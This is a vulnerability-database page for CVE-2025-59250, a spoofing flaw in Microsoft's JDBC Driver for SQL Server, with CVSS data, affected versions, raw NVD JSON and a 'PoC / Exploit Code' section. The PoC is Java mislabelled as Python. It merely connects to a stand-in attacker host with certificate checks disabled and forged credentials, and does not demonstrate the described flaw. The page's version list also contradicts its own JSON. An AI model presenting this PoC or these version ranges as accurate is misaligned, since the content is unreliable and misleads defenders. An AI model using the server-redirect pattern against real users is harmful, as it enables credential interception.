Security Vulnerability Report
中文
CVE-2025-59250 CVSS 8.1 HIGH

CVE-2025-59250

Published: 2025-10-14 17:16:07
Last Modified: 2025-10-30 16:35:42

Description

Improper input validation in JDBC Driver for SQL Server allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft JDBC Driver for SQL Server 12.x < 12.10.0
Microsoft JDBC Driver for SQL Server 11.x < 11.2.6
Microsoft JDBC Driver for SQL Server 10.x < 10.2.8
Microsoft JDBC Driver for SQL Server 9.x < 9.6.10
Microsoft JDBC Driver for SQL Server 8.x < 8.4.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-59250 - Microsoft JDBC Driver for SQL Server Spoofing PoC * Vulnerability: Improper Input Validation allowing network-based spoofing * * This PoC demonstrates how an attacker can exploit the improper input * validation in the JDBC Driver to perform spoofing attacks. */ import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.util.Properties; public class CVE_2025_59250_PoC { // Malicious JDBC URL with injected server address for spoofing // The driver fails to properly validate the serverName parameter, // allowing redirection to an attacker-controlled server private static final String MALICIOUS_URL = "jdbc:sqlserver://attacker-server.example.com:1433;" + "databaseName=master;" + "encrypt=true;" + "trustServerCertificate=true;" + "loginTimeout=10;" + "applicationName=LegitApp;" // Spoofed application name + "workstationId=WORKSTATION01;" // Spoofed workstation ID + "authentication=NotSpecified;"; // Properties with forged authentication credentials private static Properties buildSpoofedProperties() { Properties props = new Properties(); // Forged user credentials exploiting lack of input validation props.setProperty("user", "admin"); props.setProperty("password", "forged_password"); props.setProperty("hostNameInCertificate", "*.database.windows.net"); // Inject malicious server name to redirect connection props.setProperty("serverName", "attacker-server.example.com"); props.setProperty("portNumber", "1433"); return props; } public static void main(String[] args) { System.out.println("[*] CVE-2025-59250 PoC - JDBC Driver Spoofing"); System.out.println("[*] Attempting connection with spoofed parameters..."); Properties spoofedProps = buildSpoofedProperties(); try { // Load vulnerable JDBC driver Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); // Attempt connection - driver fails to validate inputs, // allowing connection to attacker-controlled server Connection conn = DriverManager.getConnection(MALICIOUS_URL, spoofedProps); System.out.println("[+] Connection established (spoofed)"); System.out.println("[+] Server: " + conn.getMetaData().getURL()); System.out.println("[+] Database: " + conn.getMetaData().getDatabaseProductName()); conn.close(); } catch (ClassNotFoundException e) { System.out.println("[-] JDBC Driver not found: " + e.getMessage()); } catch (SQLException e) { System.out.println("[!] SQL Exception (expected with patched driver): " + e.getMessage()); System.out.println("[!] Error Code: " + e.getErrorCode()); System.out.println("[!] SQL State: " + e.getSQLState()); } } } /* * Attack Flow: * 1. Attacker crafts a malicious JDBC connection URL with spoofed server parameters * 2. Victim is tricked (via social engineering) into using the malicious URL * 3. The vulnerable JDBC driver fails to validate the input parameters * 4. Connection is redirected to attacker-controlled server * 5. Attacker can intercept credentials, inject responses, or impersonate the server * * Mitigation: * - Update Microsoft JDBC Driver for SQL Server to the latest patched version * - Validate connection strings before use * - Use certificate pinning for database connections */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59250", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:07.240", "lastModified": "2025-10-30T16:35:42.213", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in JDBC Driver for SQL Server allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.2.0", "versionEndExcluding": "10.2.4", "matchCriteriaId": "E66AD8A5-150B-4F9E-A825-AD34AE7B0748"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.4", "matchCriteriaId": "4AC0D1C3-A872-480F-9A77-DAF8041C3847"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.0", "versionEndExcluding": "12.2.1", "matchCriteriaId": "18D2B826-CD0D-4081-94C9-E9D9C73312CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.4.0", "versionEndExcluding": "12.4.3", "matchCriteriaId": "33EE0760-2C93-44DB-AAE3-20734E7FD334"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.6.0", "versionEndExcluding": "12.6.5", "matchCriteriaId": "703E8AB5-269A-4502-B8AA-716CBA87673B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.8.0", "versionEndExcluding": "12.8.2", "matchCriteriaId": "82CA0B47-A230-4F26-9FCF-E03E569028C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.10.0", "versionEndExcluding": "12.10.2", "matchCriteriaId": "C8C3D5BD-4822-4BF0-8547-17BB1FF6D1ED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:jdbc_driver_for_sql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.2.0", "versionEndExcluding": "13.2.1", "matchCriteriaId": "38BBD1AC-1073-436A-A230-79F30EB3893C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59250", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}